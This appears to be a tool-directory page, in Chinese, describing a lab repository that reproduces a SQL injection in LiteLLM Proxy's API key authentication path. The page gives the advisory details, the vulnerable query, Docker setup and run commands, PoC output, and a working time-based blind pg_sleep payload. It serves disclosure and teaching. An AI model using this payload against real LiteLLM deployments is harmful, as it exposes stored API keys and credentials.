Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/imjdl/cve-2026-42208_lab
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubimjdl/cve-2026-42208_lab

CVE-2026-42208_lab

LiteLLM Proxy API 密钥认证中一个严重 SQL 注入漏洞的复现环境,包含基于时间的盲注 PoC 及用于测试的 Docker 配置。

查看仓库
4个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

LiteLLM Proxy SQL 注入(GHSA-r75f-5x8p-qvmc)

一个用于复现 LiteLLM Proxy API 密钥认证流程中 SQL 注入漏洞的环境。

漏洞摘要

项目详情
安全公告GHSA-r75f-5x8p-qvmc
类型SQL 注入(CWE-89)
严重程度严重
受影响版本litellm >=1.81.16, <1.83.7
修复版本litellm >=1.83.7(提交 4dc416ee74)

攻击路径

注入发生在错误处理回调路径中,而非主认证流程。当发送非 sk- 前缀的令牌时,断言失败,原始(未哈希)令牌会流经失败回调链,进入使用 f-string 插值的 SQL 查询:

root@kitploit:~
HTTP 请求: Authorization: Bearer <payload>
  → assert api_key.startswith("sk-") 失败
  → _handle_authentication_error(api_key=RAW_TOKEN)
  → post_call_failure_hook
  → _enrich_failure_metadata_with_key_info
  → get_key_object(hashed_token=RAW_TOKEN)
  → get_data(token=RAW_TOKEN, table_name="combined_view")
  → SQL: WHERE v.token = '{RAW_TOKEN}'  ← 注入点

主 sk- 认证路径不可利用,因为令牌在到达查询前会经过 SHA256 哈希处理,仅产生 [0-9a-f] 字符。

复现步骤

1. 启动易受攻击的环境

root@kitploit:~
docker compose up -d

这将启动带 PostgreSQL 后端的 LiteLLM Proxy(v1.83.3-stable)。

2. 运行 PoC

root@kitploit:~
pip install requests
python poc_litellm_sqli.py --target http://localhost:4000 --delay 5

预期输出

root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║   LiteLLM Proxy SQL 注入 PoC                             ║
║   GHSA-r75f-5x8p-qvmc | CVE: 待定                       ║
║   受影响版本: litellm >=1.81.16, <1.83.7                 ║
║   攻击方式: 基于时间的盲注(通过错误处理回调)            ║
╚═══════════════════════════════════════════════════════════╝

[*] 检查目标: http://localhost:4000
[+] 目标存活(状态码 200)

[*] 测量基线(3 个请求)...
  基线平均值: 0.022s

[*] 对照组: 不含 pg_sleep 的非 sk- 令牌...
  对照组: 0.024s

=======================================================
  基于时间的盲注 SQL 注入(pg_sleep=5s)
=======================================================
  载荷: ' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--
  响应时间: 5.018s

[+] 存在漏洞!pg_sleep(5) 已确认

技术细节

载荷构造

PostgreSQL 的 pg_sleep() 返回 void 类型,无法出现在布尔上下文(OR)中。载荷将其包装在子查询中以避免类型错误:

root@kitploit:~
' OR (SELECT 1 FROM (SELECT pg_sleep(N)) t) IS NOT NULL--

该载荷被注入到 litellm/proxy/utils.py 中的 combined_view 查询:

root@kitploit:~
# 易受攻击的代码(<=v1.83.3)
sql_query = f"""
    SELECT v.*, t.spend AS team_spend, ...
    FROM "LiteLLM_VerificationToken" AS v
    LEFT JOIN ...
    WHERE v.token = '{token}'   ← 用户输入的 f-string 插值
"""

影响

  • 无需认证 — 无需有效的 API 密钥
  • 数据库读取权限 — 可通过盲注提取任意数据(API 密钥、凭据、配置)
  • 代理管理的所有 LLM 提供商密钥均面临风险

参考链接

  • GitHub 安全公告
  • 修复提交 4dc416ee74
  • Sysdig TRT 威胁情报报告 — 披露后 36 小时内观察到野外利用
下载工具